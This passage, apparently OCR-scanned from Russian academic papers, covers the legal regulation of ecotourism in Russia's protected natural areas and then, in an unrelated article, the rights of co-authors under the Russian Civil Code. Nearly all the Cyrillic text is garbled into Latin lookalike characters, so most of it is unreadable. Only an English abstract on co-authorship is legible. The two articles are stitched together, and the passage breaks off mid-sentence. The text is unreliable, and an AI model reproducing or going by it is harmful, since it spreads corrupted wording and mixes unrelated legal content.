B 00JIaCTM OpraHu3aliy, OXpaHbl M HCIOJIb30BAHUS OCO00 OXpaHIEMbIX
NPUPOJHBIX TEPPUTOPHM B LEISIX COXPAHCHUS YHUKAIbHBIX W TUIUYHBIX
NPUPOIHBIX KOMIUIEKCOB W OOBEKTOB, HET HAmpaBlCHU pa3BUTHUS
9KOJIOTMYECKOT0 TYpU3Ma;
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— ['OCT 32611- 2014 «Typuctckue yciayru» [4]: TpeboBaHUs K 00ECIICYCHUIO
0€30I1acCHOCTH TYPUCTOBY» — HACTOSALIMM CTaHIApT YCTaHABIMBAET TPEOOBAHUS
1o o0ecrieyeHnto 0e30MacHOCTH JKU3HH, 30POBbsI, IMYILECTBA TYPUCTOB MpHU
COBEpLICHUU IyTEUIECTBUM, HET MOJOXEHUH O IMpaBaXx M O0S3aHHOCTSX, a
TaKke OCHOBHBIX TOJNIOKEHHH 00  OCYIIECTBICHHMH U  Pa3BUTHH
9KOJIOTMYECKOT0 TYpU3Ma;

- I'OCT 32612-2014 «Mudopmarus a1t moTpedUTeneit TypucTcKux yciuyr» [5]
HACTOSAIMIM  CTaHIapT ycTaHaBIMBaeT TpeboBaHMA K  HH(OpMAaIMH,
NPEAOCTABISIEMON NOTPEOUTENAM TYPUCTCKUX YCIYT, HET IOJIOKEHUH O
npaBax ¥ 00s3aHHOCTSIX, & TAK)KE OCHOBHBIX TMOJIOXKEHUN 00 OCYILIECTBICHUN
Y Pa3BUTUU SKOJIOTHYECKOTO TYPU3Ma;

— I'OCT 54601-2011 «be3onacHOCTb AaKTHBHBIX BHUAOB TypuzMa» [6] —
HACTOSIIMIM  CTaHJApT yCTaHaBIMBAaeT TpeOoBaHMS OE30MACHOCTH K
TYPUCTCKUM YCIIyTaM, BKJIIOYAIOIIMM AaKTUBHBIC BHUABl MEPEABIKEHUS U
0TAbIXa, (GOPMUPYEMBIM TYPUCTCKHUMHU OPraHU3aLUsIMHU ¥ UHIUBUAYATbHBIMU
NpeNPUHAMATENISIMU, HET TOJIOKEHUN O TMpaBaxX M OOS3aHHOCTAX, a TaK¥Ke
OCHOBHBIX TMOJIO)KEHUH 00 OCYIIECTBICHHM U PAa3BUTUU HKOJOTHUYECKOTO
TypU3Ma;

- I'OCT P 56642-2015 «DOxonoruueckuii Typusm» [7] — TOJIOKEHUS
HACTOSIIETO CTaHJAapTa paclpOCTPaHAIOTCS HAa YCIYTM HKOJOTMYECKOIO
Typu3Ma, TMpPeJOCTaBlsieMble CYOBEKTaMH TYPUCTCKOM HWHIYCTPUU B
COOTBETCTBHM C 3aKoHOnarenbcTBOM  Poccumiickonn  @enepaumu, HET
MOJIOKEHUH O MpaBax W 00S3aHHOCTSIX, & TAKKE€ OCHOBHBIX TOJIOKEHHH 00
OCYILIECTBJICHUU U PA3BUTUU SKOJIIOTHYECKOTO TYypHU3Ma.

Takum 00pa3oM, MOKHO YBHUJZIETh, YTO PACCMOTPEHHBIE HOPMATHBHO-TIPABOBBIE AKTHI
100 paccMaTpHUBAIOT BOIIPOCHI, CBS3aHHBIE C IKOJIOTHYECKUM TYPU3MOM WM OMNpeesIeHHBIMU
acTeKTaMH, KOTOPbIE MOT'YT OBITh 33/IEHCTBOBAHbI B SKOJIOTHUECKOM TypH3Me (BOIHBIE PECYPCHI,
KUBOTHBI MHUp W T.J.), TUOO OTAEIBHO TOJIOKEHHSI 00 0CO00 OXpaHSEMBIX TEPPUTOPHSX.
EauHoro HOpMaTHMBHO-TIPABOBOTO — aKTa, pPETYIUPYIOUIETO pealu3alli0 W pa3BUTHE
JKOJIOTUYECKOTO TypH3Ma B 0CO00 OXpaHSEMBIX TEPPUTOPHUSX HA CETOAHSIIHUN JIeHb B
Poccuiickoi ®@enepannu, He CyIIECTBYET.

Crparerus pazsutus Typuzma 110 2035 roma ot 20.09.2019 [3] — 6maromapst npUpOIHBIM
ycnoBusM Poccust paccMaTpuBaeTcss MUPOBBIM COOOILIECTBOM Kak HamOojiee MepCreKTHBHAS
TEPPUTOPUS  JUIA  Pa3BUTUSL  SKOJOTHUECKOoro Typusma. OJHAaKO, MOXKHO OTMETHUTH
HEpEATM30BAHHBIA TIOTEHIIMA HCIIOJIL30BaHUA 0CO00 OXpPaHSEMbIX MPUPOAHBIX TEPPUTOPUI
PETHOHANILHOTO 3HAYEHUs JJIsl Pa3BUTHS SKOJOTMYECKOrO TypH3Ma BCIEIICTBHE HEpa3BUTOU
TYypHUCTCKOW MHQpacTpyKTyphl. CTpaTerus OTMEUaeT HAMpaBICHUS] Pa3BUTHUS IKOJIOTHMIECKOTO
typuzMa B OOIIT, HO HE CTaBUT KOHKPETHBIX LEJEH €ro pa3BUTHS W METOAOB PEIICHHUS
CYIIECTBYIOIIHX MTPOOIEM B HKOIOTHYECKOM TypH3ME.

Ucxons w3 crparerunm pasButus Typusma A0 2035 5KONOrMYECKUH Typu3M
MPE/ICTABIACTCA, KaK JIESTEIIbHOCTh MO OPTraHW3allii ITyTEIICCTBUH, BKIIIOYAONIast Bce (OPMBI
MIPUPOIHOTO TypU3Ma, MPH KOTOPHIX OCHOBHOW MOTHBAIIEN TYPHCTOB SIBIISIETCS HAOIOJICHUE U
NpUOOIIEHNEe K TMPUPOJE TPU CTPEMJICHUH K €€ COXpaHeHHI0. Takoe e ompeneleHHe K
naHHoMmy moHsATai0 TpenctraBieHo B ['OCTe P 5664202015 «TypucTckue —yCIyry.
Okonoruueckuii TypusM. OOmme TpeboBanus». B Poccun B OTHOMIGHMH 3KOTypH3Ma
paccMaTpuBaeMble MPaBOBbIE JOKYMEHTHI MMEIOT MEPBOCTENICHHOE 3HAYCHHE U TOKa3bIBAIOT,
YTO B OCHOBHOM B 3aKOHOJATENILCTBE IIOCBAIICHA IPAaBOBOH 0a3e peryaupoBaHHs 0CO00
OXpaHsEMbIX TPUPOAHBIX TeppUTOpHUi [12].

Hcxons U3 NMpOBEAEHHOIO aHaiM3a MOYKHO YBHMJETb, YTO 3KOJOIMYECKOMY TYPHU3MY
YIENSAIOT JOCTaTOYHO o0co0oe BHUMaHWE. B YacTHOCTH, TOCYAapCTBEHHBIE TIPOEKTHI H
MpOrpaMMbl HaIIPABJICHBI HA PEIICHHE TaKWX MPoOJIeM, KaK HEpa3BUTOCTh HH(DPACTPYKTYPHI B
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30HaX MPUPOJTHOTO 3HAUEHUS] U MUHUMHU3ALMS aHTPOIIOI€HHON HAarpy3KU Ha 0000 OXpaHIEeMBbIX
TEPPUTOPHUSIX.

B pamkax MepomnpusTHii, MPEICTABICHHBIX B IpOrpaMMax M IMPOeKTa HEO0OXOIUMO:
COBEPIICHCTBOBATh CUCTEMY IJIAHUPOBAHMS, KOHTPOJISI © MOHUTOPUHTA JICATEILHOCTH B chepe
M03HABATENILHOIO TypU3Ma Ha 0Cc000 OXpaHSEeMbIX MPHUPOJHBIX TEPPUTOPUSX; pa3paboTaTh
KOMITJIEKC JKCKYPCHOHHBIX MPOTpaMM JUIS Pa3UYHBIX KAaTEropui MOCETUTENeH, YAemss
MIPUOPUTETHOE BHUMAHUE JIEMOHCTPALMH JUKHX KMUBOTHBIX B €CTECTBEHHOM cpeJie; 00ecreunTh
00yCTpOWCTBO (B TOM 4HCIIE WH(POPMAIMOHHOE) 3KCKYPCHOHHBIX 3KOJIOTMYECKUX TPON U
TYPUCTUYECKHUX MAapIIpyTOB, CMOTPOBBIX IUIOMIAJIOK, MECT HaOJIOJeHUS 3a JUKUMHU
KUBOTHBIMM,  CO3/1aBaTb HOBBIE U  MOJIEPHM3MPOBATh  CYIIECTBYIOIIME MYy3€H U
MH(POPMALMOHHBIE HEHTPHI JJIsl TOCETUTENEH; MPOBECTH OIEHKY MPENeiIbHO IOMYCTUMBIX
Harpy30K M OMNpEACNTUTh IMyTH MHUHUMHU3ALMU HETaTUBHOIO BO3ACUCTBUSL Ha TPUPOIHBIE
HKOCUCTEMBI; pa3paboTaTh U BHEIPUTH CUCTEMY J100POBOJIBLHON cepTU(UKAIIMN SKCKYPCHOHHBIX
OKOJIOTHYECKHX TPON W TYPUCTUYECKUX MApIIPYTOB HA 0CO00 OXPaHSEMBIX MPUPOIHBIX
TEPPUTOPHUSX; CO3/1aTh HWHPPACTPYKTYPY [UIsI OOECIEYCHUsT CEPBHCHOTO OOCITY>KUBaHUS
MOCETUTENICH, B TOM YHUCII€ MyTeM MPUBJICYCHUST WHBECTOPOB; pa3paldoTaTh MPEUIOKEHUS IO
(OpMHPOBAHUIO U COBEPILICHCTBOBAHUIO SKOHOMHUYECKMX MEXaHHU3MOB pPa3BUTHUS CHUCTEMBI
MO3HABATENILHOIO TYpU3Ma, B TOM YHMCIIE C YYETOM MEXIYHAPOJHOTO OMbITa; COACHCTBOBAThH
Pa3BUTHIO COIMYTCTBYIOILIETO TYpPU3MYy MaJlorO M CpeAHero Ou3Heca; pa3paldoTaTh IpaBUIa,
PETyIMpYIONINE TIOBEACHHE MTOCETUTENEeH Ha 0CO00 OXPaHSEMBIX MPUPOIHBIX TEPPUTOPUSX, C
nenplo obecrieyeHuss O€30MacHOCTH JIOAEH W MPEJOTBpalleHus yiepda MPUPOTHBIM
KoMITiekcaM 1 oobekTam [10].

B Poccuu B OTHOIIEHUH SKOTypU3Ma paccMaTpUBaeMble MPABOBBIE TOKYMEHTHI UMEIOT
MEPBOCTENICHHOE 3HAYEHHE W TOKA3bIBAIOT, YTO B OCHOBHOM B 3aKOHOATEILCTBE IMOCBSIICHA
MpaBOBOK 0asze perylIMpoBaHHs 0CO00 OXpaHSIEMbIX MPUPOIHBIX TeppuTopuil. KOpuandeckoe
oopMIIeHHE HSKOJIOTHYECKUX METOJIOB YIPABJICHUS TYPUCTUYECKOH oTpacibio Poccwmm, TO
CUTyallsi Ha CETOAHSAIIHUN JeHb HE COBCEM COOTBETCTBYET €BpOINEHCKOW MpPaKTUKE U
€BPONEHCKUM CTaHAapTaM, TaKk Kak 3TO OTHOCHTEIBHO HOBOE JIEJIO ISl POCCHIMCKOTO TypHU3Ma.
Co3nanue mpaBoBOro o(hopMIIEHHSI YKOJIOTHUECKOTO TYpUCTHYECKO# oTpacnu B Poccun.

CrienuaivcThl BBIICTIIN PSJI MPEUMYIIECTB, OJlaromapss KOTOPBIM 3KOJIOTUICCKUN
TYpHU3M MOT'YT CTaTh IJIABHOM YacTh B Pa3BUTHUU TypHU3Ma: 3TO MECTOPACIIOIIOKEHUE B Hanboee
YKUBOITMCHBIX, MHTEPECHBIX B TO3HABATEIBHBIX C TOUKU 3PEHHS DKOJIOTHU MECTAX; BJIaJICHUEM
CIIOKUBIIICHCS CHUCTEMOW KOMIUIEKCOM OOCTYKHUBAIOIIUX YCIyr TYPUCTUYECKUX TPYIII,
OTpaOOTaHHBIMH  JKOTYPUCTHYECKMMH  MapHIpyTaMd W ONBITOM  OpraHu3aIif
MPOCBETUTENILCKOW  JCATENbHOCTH;  BIAJCHUEM  OIpeleNieHHONH  MH(pacTpyKTypsl U
MOJITOTOBJIEHHOTO MEPCOHAJIA; OPTaHU3AIMS TTOJIOKUTEITHFHOTO OTHOIIICHUSI MECTHOTO HACEIICHUS
K KOHKPETHOMY IPUPOJHOMY PE3EpBaTy U MPEUMYILIECTB, CYIIECTBYIOIIMM Ha €ro0 TEPPUTOPUHN
AKOJIOTUYECKUM OTPAaHUYEHUSIM Ha XO3STMCTBEHHYIO IEATEIBHOCTH [8].

st pa3zBuths 3QPEKTUBHOTO IKOIOTUYECKOTO TypHu3Ma 0e3 yiepda Amsi OKpysKaromien
Cpenbl, B JOIOJHEHHWE K HCIOJIB30BAHUIO COOTBETCTBYIOIIMX TEXHOJIOTHUN, JOJDKHBI OBIThH
BBITOJIHEHBI TPH JOMIOJHUTENBHBIX YCIOBHS: HAIMYHUE JOCTATOYHON HH(POPMAIIUN O TIPUPOIHBIX
pecypcax W UX HCHOJb30BAaHUM Y PETHOHAJIBHBIX OpPraHoOB VIIPaBICHUS TYpU3MOM U
aIMUHHUCTPAIM  0CO00  OXpaHSEMbIX  MPUPOAHBIX  TEPPUTOPHI;  TPEIOCTABICHHE
JIONIOJTHUTENIBHBIX PECYPCOB, JTOCTATOYHBIX JJIsI Pa3BUTHS M COBEPIICHCTBOBAHMS TEXHOJIOTUN
yIIPaBICHHUS B TYpU3ME; COTPYIHHYECTBO PETMOHAILHOW aAMUHUCTPAIMU U aJMUHUCTPALIUS
OXpaHSIEMbIX TEPPUTOPHUI C SKOTYpUCTAMH M TPEACTABUTEISIMA TYPUCTUYECKON HHIYCTPUU.
Bce 311 ycioBuUS OJMHAKOBO BaXKHBI JIJISI TOTO, YTOOBI 00ECTIEUNTh COOJIIOIEHUE SKOIOTUIECKUX
CTaHAAPTOB IPHU OCYILIECTBICHUU TYPUCTUYECKOH JestenbHOocTH. Kpome Toro, pykoBOACTBO
JKOTypU3Ma OXPaHSIEMBIX TEPPUTOPHA HE OBUIO TOTOBO, C OJHOH CTOPOHBI, OOECICYUTH
MOTPEOHOCTH PACTYLIEr0 YHCia 3KOTYPHUCTOB, a C JIPYrol — rapaHTUpOBaTh OE30MaCHOCTb
TYPUCTHUYECKOU IEATEIBHOCTH, OPraHU30BAaHHOM B IPUPOJHBIX pecypcax. B KaknoM peruoHe
pa3BUTHE SKOTYpU3Ma HYXKIAETCS B PEAIUCTUYHOM IOJIXO/I€ K BO3MOXHOCTU PAaCCMOTPEHUS
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€ro peajm3alyy, €ro MpPUObUIBHOCTh U KOHKYPEHTOCIIOCOOHOCTh, a TaKke HEOOXOIUMOCTH
HAYYHO OLIEHUTh ONTHMAJIBHBIN YPOBEHb TypU3Ma Ul JAHHOTO paiioHa M 3aTeM pa3palboTrarb
CTPATEeTHIO, BEAYIIYI0 K JIOCTIDKCHHIO JTOTO YPOBHS. JTa CTpaTerws IODKHA HAIpaBILITh
pa3BUTHE JKOTypU3Ma TakKuM OOpa3oM, 4TOOBI: OH HE 3aTparuBall MPUPOJHBIE CHUCTEMBI,
CYIIECTBOBAIM MEXAaHU3Mbl TIOBBIIICHHUS 3aHSATOCTH MECTHBIX JKHTEJeH, CYIIECTBOBAA
BO3MOXXHOCTh YBETHMYUTH JOXOJABI TMPHPOJOOXPAHHBIX BEJOMCTB M MECTHBIX COOOIIECTB,
Pa3BHUTHE 3KOJIOTHYECKOTO 00pa30BaHMSI.
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AHHOTAINA

JlanHas crathsi mpoOieMaMm, ¢ KOTOPBIMH CTAaJIKUBAIOTCSl COABTOPHI MPOU3BEIACHUN
JTUTEPaTyphl, HAYyKH M HCKYCCTBA MpPH OCYIIECTBICHWU cBOoMX mpaB. Ocoboe BHUMaHUE
yIeNnseTcsl BOMpOCaM pachpesielieHus] MpaB U O0O0S3aHHOCTEM MEXAYy COaBTOpaMH, a TaKkKe
BOMPOCAaM  UCMOJB30BAHUA TMPOM3BEACHUSA M  TOJYyYEHHUs] BO3HArpaXKJIE€HUS 32  €ro
HCIIOJIL30BaHHE.

KiloueBble ciioBa: COaBTOpCTBO, TMpaBa COABTOPOB, paclpeiesieHHe Tpas,
HCIIOJIb30BaHKUE MTPOU3BEICHUS, BO3HAIPAXKICHUE, 3aKOHOIATENbCTBO O COABTOPCTRBE.
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Abstract

This article deals with the problems faced by co-authors of works of literature, science
and art in the exercise of their rights. Special attention is paid to the distribution of rights and
obligations between co-authors, as well as to the use of the work and remuneration for its use.

Keywords: co-authorship, rights of co-authors, distribution of rights, use of the work,
remuneration, legislation on co-authorship.

B coBpemeHHOM 00IeCTBE NMPOU3BEACHUS JIMTEPATYPhl, HAYKH U HMCKYCCTBA WUIPAIOT
BO)XHYIO pOJib B (POPMHUPOBAHUU KYJIBTYPHOIO M MHTEJUIEKTYaJIbHOTO MOTEHIMana OOILIEeCTBaA.
OnHako co3/aHME TaKUX IPOU3BEIEHUN YacTO SIBISAETCS PE3YyIbTaTOM KOJUIEKTUBHOIO TpyJa
HECKOJIBKMX aBTOPOB. B cBs3M ¢ 3TUM BO3HMKAaeT HEOOXOJUMOCTb PErYJIUPOBAHMS OTHOIIEHUN
MEX/1y COAaBTOPaMH, OCOOEHHO B YaCTH OCYIIECTBICHUS UX IPaB.

Co0aBTOPCTBO — 3TO MPABOBOM CTaTyC, KOTOPBIM MPUCBAMBAETCA JIMI[AM, COBMECTHO
CO3JaBIIMM MPOM3BEIECHUE HAyKH, JIUTEpaTypbl WIM HUCKyccTBa. JlaHHOE TOHATHE
MOJPa3yMEBaeT HAJINYME €JUHOTO TBOPYECKOI'O 3aMbIC/Ia M COBMECTHBIA BKJIAJ B CO3IAHUE
MIPOU3BEICHUSL.

B cootBetcTBUM co cTtathEéit 1258 I'paknmanckoro koaekca P® coaBTOpcTBO — 3TO
¢dopMa KOJUIEKTHBHOTO TBOpPYECTBA, NPU KOTOPOM JBa MM OoJiee YelOBEKa COBMECTHO
paboTaroT Haja co3faHueM MpousBefeHus. CoaBTOPCTBO MOXKET OBITh pa3leNIbHBbIM, KOrja
Kbl aBTOp CO3/1aET CBOIO YacTh IMPOMU3BEICHUS, WIM HEPa3/leibHBIM, €CJIM HEBO3MOXHO
OIpe/IeNNTh BKJIAJ] KaXI0ro aBTopa B o011ee npousseaeHue. [1]

CoaBTOpbl UMEIOT MPABO HCIOJIB30BATh NPOU3BEJIECHHE, IOIy4aTh BO3HArpakACHHUE U
OCYILECTBIIATH IPYTHE MIPaBa B COOTBETCTBHUU € 3aKOHOAATENIBCTBOM, HO peajn3alys 3TUX NpaB
MOJKET OBITh COTIPSIKEHA C ONPEACIEHHBIMU TPYIHOCTSIMH.

OnHa ¥3 TIaBHBIX MPOOJIEM 3aKIIOYaeTcsi B TOM, YTOObI OmpenesiuTh 00BEM IpaB
Kaxzaoro coaBTopa. CorjlacHO 3aKOHOJATENbCTBY, COABTOPbl MMEIOT IPaBO HA MOIY4YEHHUE
BO3HAIPaXKIE€HMs 3a MCIIOJIb30BAHUE IPOM3BEICHMs, a TaKXKe Ha JOJI0 B JOXOAAax OT €ro
ucnosnb3oBaHua. OnHAaKO Ha NPAaKTUKE BO3HMKAIOT CHUTYyallUd, KOIJla OJUH W3 COaBTOPOB
CUHMTAET, YTO €ro BKJIAJ B CO3/1aHKE MPOMU3BEACHUs OblI OOJbIlIe, YeM BKJIAJ APYroro cOaBTOpa,
U TpeOyeT COOTBETCTBYIOIIEIO pAacIpeiesieHHs MpaB U J0XOA0B. JTO MOXKET IMPUBECTH K
KOH(IIUKTaM U CyIeOHBIM CIIOpaM.

Emé oanoil mpobaemoil aBisieTcs onpeaesieHle Nopsiika UCTI0JIb30BaHMs IPOU3BEICHUSL.
CoaBTOpbI JOIKHBI JIOTOBOPHUTHCSI O TOM, KTO M Kak OyJeT HCIOJIb30BaTh MPOMU3BEICHUE, a
TaKXke 0 TOM, KaKhe U3MEHEHUS! MOT'YT OBbITh BHECEHBI B Hero. Eciii coaBTOphI HE MOTYT NpUITH
K COIJIaCHIO, 3TO TaKXKEe MOXKET IPUBECTU K KOH(IUKTAM.

CrouT OTMETUTh, YTO COABTOPaMHU MOI'YT CUMTAThCs TOJBKO TE JIMIA, KOTOPbIE BHECIIU
CBOIl TBOpueckMi BKJIan B mpousBeaeHue. B cOopuuke crareit B. A. Jlozopuesa
MOUEPKUBAETCS BAXKHOCTh KATETOPHH «COABTOPCTBOY JJISl PE3YJITATOB TBOPUECKOTO TPYyla, HO
HE00X0IMMO YETKO OTIPaHUYMBATH OT COTpYAHUUYEeCTBA. Takum 00pa3oM, B cilydyae, eClid JIUIO0
MIPOCTO OCYILECTBIISUIO MeYaTh MPOU3BEACHUS CO CJIOB aBTOPA, BBHIMTOJHSIIO UHYIO TEXHUYECKYIO
paboTy, COaBTOPOM OHO OBITh IPU3HAHO HE MOXKET. [2]

ITosTOMY NHIIO, KOTOPOE IPOCTO IEYaTalo MPOU3BEACHUE IOJ JUKTOBKY aBTOPa WIN
BBINIOJIHSJIO JIPYTYIO TEXHHYECKYI0 pabOTy, HE MOMKET CYMTaThesi coaBTopoM. Ilpoctas
TEXHUYECKasi TIOMOILIb, TaKask KaK Ie4aTh TEKCTa IIPOM3BENCHUS WIN MaTepUallbHasi IOJIEPIKKa
aBTOpa B BUJE JCHEKHBIX CPEJICTB, OyMaru U T. [I., He SIBJISIETCS] COABTOPCTBOM.

Hannoe nonoxxenue noarsepkaaet u ['paxxnanckuii Kogexc P®, kotopeiii B cT. 1228
I'paxxnanckuit  Kogexkc P® ormeuaer, uTOo HE NPU3HAIOTCA aBTOpaMU  pe3yJbTara
UHTEJUICKTYaJIbHOW JESTEIbHOCTU TpaK[aHe, HE BHECIINE JINYHOTO TBOPYECKOIO BKJIaJa B
CO3[IaHME TaKOro pe3yJbTaTa, B TOM YHUCIIE OKAa3aBIIME €r0 aBTOPY TOJIBKO TEXHHUYECKOE,
KOHCYJIbTallUOHHOE, OPraHU3allMOHHOE WM MaTepHaIbHOE COJCHCTBHE WM IOMOIIb JHOO
TOJIBKO CIIOCOOCTBOBABIINE O(OPMIICHHUIO TIPaB HA TAKOW PE3YJIbTAT WM €r0 HCIOIb30BAHUIO, a
TaKKe IPaXkAaHe, OCYIIECTBIISBILINE KOHTPOJIb 32 BBIIOJIHEHUEM COOTBETCTBYIOIIMX PAOOT.
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Taoke cymecTByer mpoOiieMa 3alUThl IpPaB COABTOPOB OT HENPABOMEPHOIO
WCIOJB30BaHUsI WX Npou3BelAeHUM ApyrumMu aunamu. CoaBTOpbl MOTYT CTOJKHYTBCS C
HapyILIEHUEM CBOUX IIpaB, HAlpUMEp, NPU HE3aKOHHOM HCIIONB30BAHUU MX MpOU3BeeHHs 0e3
COTJIacHsl BCEX COaBTOPOB. B TakoM citydae coaBTOPHI UMEIOT MPAaBO OOPATUTHCS B CYH C UCKOM
0 3aIIUTE CBOMX IIPaB.

K. B. JlumxkeeBa B cBoell HayyHOW cTarbe [3] NMPHUBOAWUT WHTEPECHBIM NpUMEp, B
KOTOPOM II0Ka3aHO, YTO TaK Ha3blBaeMas TBOpHYECKas JOpabOTKa, T.€. UCIOJIb30BaHHUE TpyJa
JPYroro aBTOpa C IIENBI0 CO3JaHHus COOCTBEHHOTO MPOM3BENCHUs HE OyaeT o0pa3oBBIBATH
COaBTOpCTBA: «B KadyecTBe MpruMepa MOKHO MPUBECTH PEUICHHE IO UCKY HACIEIHUKOB 1o3Ta P.
k I'. u A., aBTOpam TeKCTa MOMYJSIPHOW MY3bIKaJIbHOM KoMeann «CeBacTONONbCKUNA BaJIbC.
[Toat P. sBisuics aBTopoM m3BecTHOM TecHH «(CeBacTOIONBCKHA Balibey». BriocneacTeum Oblia
CO3/1aHa MY3bIKaJIbHAsl KOMEIUS TOJ] TAKMM >K€ Ha3BaHUEM, IPUYEM B TEKCTE HMCIIOJIb30BAIHCH
cTpouku u3 necHu. Hacnenuuku P., ocHOBBIBasch Ha 3TOM, TpeboBaIu MpU3HATh P. coaBTOpOoM
MY3BIKaJIbHOM KoMeuu. PaccMmatpuBast nanHoe neno, BepxoBusiit Cy 000CHOBAaHHO MPUILIENT K
BBIBOJIY, UTO B JJAHHOM CITy4ae UMEET MECTO JIBa TBOPUECKUX CAMOCTOSITEIbHBIX IPOU3BEICHUS
M OTKa3aj B HCKe» [4].

Kak MOXHO 3aMeTHTb, HCIIONB30BAHUE UY>KOTO MPOU3BEACHUsT 0€3 HaMepeHHs cO31aTh
o01iee mpousBeneHrne U 0€3 MPEeABAPUTEIIEHOTO COTJIAIICHHS O COABTOPCTBE HE MPUBOIUT K
BO3HUKHOBEHHUIO COABTOPCTBA.

[lepetinem k y4eOHOW nHMTEpaType, B KOTOPOM TaKKe COMEP)KATCS HEMaJOBa)KHBIC
TIOJIOKEHUST JIJIsl PELleHUs TOCTaBICHHOW Hamu TipoOiembl. Eprenuii AnekceeBnu CyxaHOB
nuiieT: «B nurepatype npuHATO pa3inyaTh COABTOPCTBO U COTPYTHUYECTBO, HATIPUMED, MEKITY
YYaCTHUKaMHM CO3/IaHUsl ayJAHOBU3YaJIIbHOTO IPOU3BEJIECHUS: BEIb OJIHA TOJBKO COBMECTHAast
NESTETLHOCTh HE CO3/1aeT KIACCHYECKOTO COABTOPCTBA, KOTOPOE MPEIoJaraeT, mo KpaiHei
Mepe, OTHOPOJHYIO IEATENLHOCTH COAaBTOPOBY [S].

DTOT BBIBOJ MOATBEPIKIIAET, YTO COBMECTHAsI paboTa Jitojieii 63 TBOPUECKOTO y4acTHs
HE PUBOJNT K COABTOPCTBY, a SIBIISETCS JIMILL COTPYAHUYECTBOM. Eciii mpou3BeieHne COCTOUT
W3 HECKOJIBKHUX OT/ICTBHBIX YaCTEH, TO B 3TOM CITy4ae COABTOPCTBO TAKKE OTCYTCTBYET.

JI. A. HoBocenoBa IUIIET 1Mo 3TOMY MOBOAY: «B COCTaBHOM >Ke MPOU3BEACHUU COOpPaHbI
CaMOCTOSTETbHBIE TPOU3BEICHUS, OHM OOBEIMHEHBI JIUIIb KaKOW-TO OOIIeH 4epTod - TEeMOH,
aBTOPCTBOM, XPOHOJIOTUYECKUM MEPUOJOM U T.A.» [6].

W3 storo cremayet, 9To CaMOCTOSATENBHBIC MPOW3BEICHUS, OOBbCIUHEHHBIE 0 OOIIMM
MpU3HAKaM, HE OYyYT SABISATHCS COABTOPCTBOM.

Jlnist petieHnst JaHHBIX MPo0sieM HEOOXOJUMO COBEPILIEHCTBOBATH 3aKOHOAATENILCTBO U
CyaeOHYI0 TpaKTHKy B 00JacTé coaBTopcTBa. HeoOxomumo pa3zpaboTaTh YETKHE IMpaBUIIa
OIpeIeNICHHs J10JIel COABTOPOB M pa3pelieHuss KOHMINKTOB MeXy HUMU. Takxke He0OXOAUMO
YCUJIUTH MEPHI TI0 3aIIUTE MIPAB COABTOPOB OT HE3AaKOHHOT'O UCIIOJIB30BAHMS UX MPOU3BEACHUM.

OpHUM U3 BO3MOXHBIX IyTEH pelIeHus: MpoOJieM COaBTOPCTBA SIBJSIETCS 3aKIIIOYCHHE
COIJIALICHUS MEXKIY COaBTOpPaMH O MOPSIIKE HCIIOJIb30BAHUS MPOU3BEICHUSI U paclpeaesieHUN
JI0XO/IOB OT €r0 MCIOJIb30BaHUs. Takoe COralleHHe J0JKHO ObITh OOPMIICHO B TUCHbMEHHOMN
dbopme U comepkaTh BCE HEOOXOIUMBIC YCIIOBHS, BKIFOUAs JIOJO KaXIOrO COABTOPA, MOPSIOK
pasperieHust KOH(QIUKTOB.

Peructpaimst npaB Ha MpPOU3BEACHUE MOXKET CTaTh JOIMOJIHUTEILHBIM UHCTPYMEHTOM
JUIS 321U THl HHTEPECOB COABTOPOB.

AJbTepHATUBHBIC METOBI Pa3pPEIICHHUsI CIOPOB — 3TO MPOLIEAYPhI, KOTOPHIE MO3BOJISIIOT
yperyaupoBaTh KOH(MIUKTBI MEXIy cTopoHamu Oe3 oOpamieHusst B cya. OHU MOTyT OBITh
5Q(QEKTUBHBIMA HWHCTPYMEHTAMH ISl paspelieHuss KOH(IMKTOB MEXAY COaBTOPaMH H
MIOMOTAIOT U30€KATh JUIMTENLHBIX CYIEOHBIX Pa30HupPaTENbCTB.

Kpome TOro, HeoOXoaumMo pa3BUBaTh KYJIbTYPY YBaXCHHS K IpaBaM COAaBTOPOB U
MOHUMAaHUS Ba)XHOCTU HX BKJIAJa B CO3JaHHE TMPOU3BEIACHUN. DJTO MOMOXET H30eXaTh
KOH(IIUKTOB MEXKIY COaBTOpaMU M OOCCIICYHTH CIIPABEIJIMBOC PACIPEICICHUE TOXOJO0B OT
WCIIOJIb30BaHUSI IPOU3BEICHUN.
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3amuTy UCKIFOUMTEIBHOTO MpaBa aBTOpa MOXKET OCYIIECTBIISTH JFOOOH M3 COaBTOPOB
MIPOU3BEJICHUS], TIOCKOJIbKY OHO SIBJSIETCSI PE3YIbTATOM COBMECTHOTO TBOPYECKOTO TPY/A.
Kaxxnp1ii 13 coaBTOpOB MMEET MPaBO 3aLUIIATh CBOE UCKIFOYUTEIBHOE MPABO HA MPOU3BEICHUE
HE3aBUCUMO OT pa3Mepa CBOETO TBOPUYECKOTO BKIIAJIa.

MosxHO clienath BBIBOJ, YTO JaXKE €CJIM BKJIQJ aBTOpa B CO3/IaHUE MPOM3BEICHHS ObLT
HEOONMBIIM, OH BCE paBHO OYAET CUMTATHCS COABTOPOM IIPH YCIOBHUH, YTO €T0 TPy HOCHI
TBOPYECKHUI XapaKTep U HE OrPaHUYMBAJICS TEXHUYECKOM MOMOIIBIO. Takke aBTOp HE JIOJKEH
OBITh HETOOPOCOBECTHBIM COABTOPOM, KOTOPBIA HE TMPHHUMA Y4YacTHS B CO3AaHUU
MIPOU3BEICHMUS.

B ciyuae paznenpHOro coaBTOPCTBA, KOT/a BKJIAJ OJHOTO W3 aBTOPOB MEHBIIE, YEM
JPYroro, HEOOXOAMMO OIPEIEIUTh, UIMEET JIM YacTh MPOU3BEACHUS, CO3/IaHHAs STUM aBTOPOM,
CaMOCTOSITETBHBIA CMBICT U MOXXHO JM €€ BBIICIUTh M3 TPOHM3BEIEHHsS Oe3 yiepda st
MOHUMAaHUSI OCTAJIBHOTO TEKCTa. ECiM 3TO BO3MOXKHO, TO MOKHO TOBOPUTH O Pa3JeiIbHOM
COABTOPCTBE.

Takum 06pazoM, IPOOIEMBI OCYITIECTBIICHHUS TIPAB COABTOPOB SIBIISIOTCS aKTYaTbHBIMH H
TpeOyIOT BHUMAHUsI CO CTOPOHBI 3aKOHO/aTeNnel u cyaeOHoi npakTuku. CoBepIlIEeHCTBOBAHUE
3aKOHOJIATENILCTBA U PA3BUTUE KYJIbTYPbhl YBAKEHHUS K MPaBaM COaBTOPOB MOMOI'YT PEUIUTh 3TH
